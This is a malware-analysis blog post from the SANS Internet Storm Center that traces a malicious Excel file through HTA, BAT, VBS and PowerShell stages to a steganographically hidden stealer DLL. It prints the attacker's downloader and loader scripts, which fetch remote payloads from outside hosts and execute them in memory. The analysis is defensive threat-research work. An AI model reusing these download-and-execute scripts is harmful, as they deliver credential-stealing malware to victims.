My next class:

More Steganography!

Published: 2025-06-14. Last Updated: 2025-06-14 07:19:40 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I spotted another interesting file that uses, once again, steganography. It seems to be a trend (see one of my previous diaries[1]). The file is an malicious Excel sheet called blcopy.xls. Office documents are rare these days because Microsoft improved the rules to allow automatic macro execution[2]. But it does not mean that Office documents can't execute malicious code. In the sample I found (SHA256:c92c761a4c5c3f44e914d6654a678953d56d4d3a2329433afe1710b59c9acd3a), there are other embedded XLS sheets:

remnux@remnux:~/malwarezoo/20250611$ oledump.py blcopy.xls
  1:       114 '\x01CompObj'
  2:       244 '\x05DocumentSummaryInformation'
  3:       200 '\x05SummaryInformation'
  4:       114 'MBD012124E0/\x01CompObj'
  5:       448 'MBD012124E0/\x05DocumentSummaryInformation'
  6:     27016 'MBD012124E0/\x05SummaryInformation'
  7:       114 'MBD012124E0/MBD008FCB33/\x01CompObj'
  8:     68088 'MBD012124E0/MBD008FCB33/Package'
  9:       114 'MBD012124E0/MBD008FD33C/\x01CompObj'
 10:       652 'MBD012124E0/MBD008FD33C/\x05DocumentSummaryInformation'
 11:     30228 'MBD012124E0/MBD008FD33C/\x05SummaryInformation'
 12:    218567 'MBD012124E0/MBD008FD33C/Workbook'
 13:       114 'MBD012124E0/MBD008FDB50/\x01CompObj'
 14:    111781 'MBD012124E0/MBD008FDB50/Package'
 15:       114 'MBD012124E0/MBD008FED44/\x01CompObj'
 16:    408066 'MBD012124E0/MBD008FED44/Package'
 17:    373246 'MBD012124E0/Workbook'
 18:       716 'MBD012124E1/\x01Ole'
 19:    442912 'Workbook'
 20:       525 '_VBA_PROJECT_CUR/PROJECT'
 21:       104 '_VBA_PROJECT_CUR/PROJECTwm'
 22: m     977 '_VBA_PROJECT_CUR/VBA/Sheet1'
 23: m     977 '_VBA_PROJECT_CUR/VBA/Sheet2'
 24: m     977 '_VBA_PROJECT_CUR/VBA/Sheet3'
 25: m     985 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
 26:      2644 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
 27:       553 '_VBA_PROJECT_CUR/VBA/dir'

remnux@remnux:~/malwarezoo/20250611$ oledump.py blcopy.xls -s 14 -d | zipdump.py
Index Filename                                 Encrypted Timestamp           
    1 [Content_Types].xml                              0 1980-01-01 00:00:00 
    2 _rels/.rels                                      0 1980-01-01 00:00:00 
    3 xl/_rels/workbook.xml.rels                       0 1980-01-01 00:00:00 
    4 xl/workbook.xml                                  0 1980-01-01 00:00:00 
    5 xl/worksheets/sheet4.xml                         0 1980-01-01 00:00:00 
    6 xl/worksheets/_rels/sheet5.xml.rels              0 1980-01-01 00:00:00 
    7 xl/worksheets/_rels/sheet4.xml.rels              0 1980-01-01 00:00:00 
    8 xl/worksheets/_rels/sheet3.xml.rels              0 1980-01-01 00:00:00 
    9 xl/worksheets/_rels/sheet2.xml.rels              0 1980-01-01 00:00:00 
   10 xl/worksheets/_rels/sheet1.xml.rels              0 1980-01-01 00:00:00 
   11 xl/worksheets/sheet2.xml                         0 1980-01-01 00:00:00 
   12 xl/worksheets/_rels/sheet6.xml.rels              0 1980-01-01 00:00:00 
   13 xl/worksheets/_rels/sheet7.xml.rels              0 1980-01-01 00:00:00 
   14 xl/worksheets/_rels/sheet8.xml.rels              0 1980-01-01 00:00:00 
   15 xl/worksheets/_rels/sheet13.xml.rels             0 1980-01-01 00:00:00 
   16 xl/worksheets/_rels/sheet12.xml.rels             0 1980-01-01 00:00:00 
   17 xl/worksheets/_rels/sheet11.xml.rels             0 1980-01-01 00:00:00 
   18 xl/worksheets/_rels/sheet10.xml.rels             0 1980-01-01 00:00:00 
   19 xl/worksheets/_rels/sheet9.xml.rels              0 1980-01-01 00:00:00 
   20 xl/worksheets/sheet3.xml                         0 1980-01-01 00:00:00 
   21 xl/worksheets/sheet1.xml                         0 1980-01-01 00:00:00 
   22 xl/styles.xml                                    0 1980-01-01 00:00:00 
   23 xl/worksheets/sheet11.xml                        0 1980-01-01 00:00:00 
   24 xl/worksheets/sheet12.xml                        0 1980-01-01 00:00:00 
   25 xl/worksheets/sheet13.xml                        0 1980-01-01 00:00:00 
   26 xl/theme/theme1.xml                              0 1980-01-01 00:00:00 
   27 xl/sharedStrings.xml                             0 1980-01-01 00:00:00 
   28 xl/worksheets/sheet10.xml                        0 1980-01-01 00:00:00 
   29 xl/worksheets/sheet8.xml                         0 1980-01-01 00:00:00 
   30 xl/worksheets/sheet5.xml                         0 1980-01-01 00:00:00 
   31 xl/worksheets/sheet6.xml                         0 1980-01-01 00:00:00 
   32 xl/worksheets/sheet7.xml                         0 1980-01-01 00:00:00 
   33 xl/worksheets/sheet9.xml                         0 1980-01-01 00:00:00 
   34 xl/printerSettings/printerSettings5.bin          0 1980-01-01 00:00:00 
   35 xl/printerSettings/printerSettings4.bin          0 1980-01-01 00:00:00 
   36 xl/printerSettings/printerSettings2.bin          0 1980-01-01 00:00:00 
   37 xl/printerSettings/printerSettings6.bin          0 1980-01-01 00:00:00 
   38 xl/printerSettings/printerSettings7.bin          0 1980-01-01 00:00:00 
   39 xl/printerSettings/printerSettings8.bin          0 1980-01-01 00:00:00 
   40 xl/printerSettings/printerSettings9.bin          0 1980-01-01 00:00:00 
   41 xl/printerSettings/printerSettings10.bin         0 1980-01-01 00:00:00 
   42 xl/printerSettings/printerSettings11.bin         0 1980-01-01 00:00:00 
   43 xl/printerSettings/printerSettings12.bin         0 1980-01-01 00:00:00 
   44 xl/printerSettings/printerSettings13.bin         0 1980-01-01 00:00:00 
   45 xl/printerSettings/printerSettings3.bin          0 1980-01-01 00:00:00 
   46 xl/printerSettings/printerSettings1.bin          0 1980-01-01 00:00:00 
   47 docProps/thumbnail.wmf                           0 1980-01-01 00:00:00 
   48 docProps/core.xml                                0 1980-01-01 00:00:00 
   49 docProps/app.xml                                 0 1980-01-01 00:00:00 

Let's focus on the payload downloaded by this file: 

hxxp://107[.]172[.]235[.]203/245/wecreatedbestsolutionswithniceworkingskill.hta

This HTA file will generate a BAT file ('C:\Windows\Temp\invertase.bat') that will generate and execute a VBS file ('C:\Windows\Temp\poikilohydric.vbs'):

<script language="VBScript">
  Dim adarme
  Set adarme = CreateObject("WScript.Shell")
  Dim bondwoman
  bondwoman = "C:\Windows\Temp\invertase.bat"
  Dim leucanthemum, methylamines
  Set leucanthemum = CreateObject("Scripting.FileSystemObject")
  Set methylamines = leucanthemum.CreateTextFile(bondwoman, True)
  methylamines.WriteLine "@echo off"
  methylamines.WriteLine "setlocal"
  methylamines.WriteLine "set ""fugues=C:\Windows\Temp\poikilohydric.vbs"""
  methylamines.WriteLine "echo Dim morasses, raconteur > ""%fugues%"""
  methylamines.WriteLine "echo morasses = Replace(StrReverse(""0@/@b@j@l@A@h@f@i@t@/@d@/@e@e@.@e@t@s@a@p@/@/@:@p@t@t
@h@""), ""@"", """") >> ""%fugues%"""
  methylamines.WriteLine "echo Set raconteur = CreateObject(""MSXML2.ServerXMLHTTP"") >> ""%fugues%"""
  methylamines.WriteLine "echo raconteur.open ""GET"", morasses, False >> ""%fugues%"""
  methylamines.WriteLine "echo raconteur.send >> ""%fugues%"""
  methylamines.WriteLine "echo If raconteur.Status = 200 Then >> ""%fugues%"""
  methylamines.WriteLine "echo     ExecuteGlobal raconteur.responseText >> ""%fugues%"""
  methylamines.WriteLine "echo End If >> ""%fugues%"""
  methylamines.WriteLine "start """" /b wscript //nologo ""%fugues%"""
  methylamines.WriteLine "timeout /t 1 /nobreak >nul"
  methylamines.WriteLine "del ""%fugues%"""
  methylamines.WriteLine "endlocal"        
  methylamines.Close
  adarme.Run "cmd.exe /c """ & bondwoman & """", 0, False        
  window.close
</script>

The generated VBS file will fetch the next payload from the following URL:

hxxp://paste[.]ee/d/tifhAljb/0

This URL will fetch a long VBA script (SHA256:352ef6f5c4568d6ed6a018a5128cf538d33ea72bd040f0fd3b9bca6bd6a5dae9) that will generate a PowerShell script and execute it:

$SuperSkills='SilentlyContinue';
$preparsed='hxxps://zynova[.]kesug[.]com/new_image.jpg';
$thysanurous=New-Object System.Net.WebClient;
$thysanurous.Headers.Add('User-Agent','Mozilla/5.0');
[byte[]]$phytoestrogens=$thysanurous.DownloadData($preparsed);
$septentrions=[System.Text.Encoding]::UTF8.GetString($phytoestrogens);
$incunabula='INICIO>>';
$prescience='<<FIM>>';
$madrina=$newsbot;
$nectaries=$septentrions.IndexOf($incunabula);
$fiftysomethings=$septentrions.IndexOf($prescience);
if($nectaries -ne -1 -and $fiftysomethings -ne -1 -and $fiftysomethings -gt $nectaries)
{
    $nectaries+=$incunabula.Length;
    $madrina=$septentrions.Substring($nectaries,$fiftysomethings-$nectaries)
};
$dachshunds='war/EP#7afLl/ppa.yfe#sap//:sp##h';
$dachshunds=$dachshunds.Replace('#','t');
$madrina=$madrina.Replace('@','A');
$nonassessable=[System.Convert]::FromBase64String($madrina);
$narratology=[Reflection.Assembly]::Load($nonassessable);
$toxodont=[dnlib.IO.Home].GetMethod('VAI').Invoke($newsbot,[object[]]@($dachshunds,'','','','aspnet_compiler','','','','','C:\Users\Public\Downloads','maungy','vbs','','','lygzeid','2',''));

That's where the steganography stuff will happen!

The technique used by the attacker is to add a malicious payload to the picture, delimited by the tags "INICIO>>" and "<<FIM>>":

remnux@remnux:~/malwarezoo/20250611$ grep -a -A 3 "INICIO" new_image.jpg | more
N@?2?Sd?A??#*a?$?+!?w?$?2d8$? m??K<?"?y^??|???0Sg?r;d??L?2d_??INICIO>>TVqQ@@M@@@@E@@@@//8@@Lg@@@@@@@@@Q@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@g@@@@@4fug4@t@nNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJ@@@@@@@@@BQ
RQ@@T@ED@ExVKLM@@@@@@@@@@O@@DiEL@T@@@Fg1@@@I@@@@@@@@znY1@@@g@@@@gDU@@@B@@@@g@@@@@g@@B@@@@@@@@@@G@@@@@@@@@@D@NQ@@@g@@@@@@@@
M@YIU@@B@@@B@@@@@@E@@@E@@@@@@@@@8@@@@@@@@@@@@@@IB2NQBL@@@@@I@1@P@F@@@@@@@@@@@@@@@@@@@@@@@@@K@1@@w@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@I@@@C@@@@@@@@@@@@@@@CC@@@Eg@@@@@@@@@@@@@@C50ZXh0@@@@1FY1@@@g@@@@WDU@@@I@@@@@@@
@@@@@@@@@@@C@@@G@ucnNyYw@@@P@F@@@@gDU@@@Y@@@BaNQ@@@@@@@@@@@@@@@@B@@@B@LnJlbG9j@@@M@@@@@K@1@@@C@@@@YDU@@@@@@@@@@@@@@@@@Q@@@

Can you spot the interesting magic bytes? (In red) They indicate the presence of a Base64-encode PE file!

The decoded an deobfuscated payload is a DLL that is loaded and executed! (SHA256:5a73927d56c0fd4a805489d5817e1aa4fbd491e5a91ed36f4a2babef74158912). It seems to be a Katz stealer. Now you have more fresh meat to analyze!

[1] https://isc.sans.edu/diary/A+PNG+Image+With+an+Embedded+Gift/31998
[2] https://learn.microsoft.com/en-us/microsoft-365-apps/security/internet-macros-blocked

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:

Comments


Diary Archives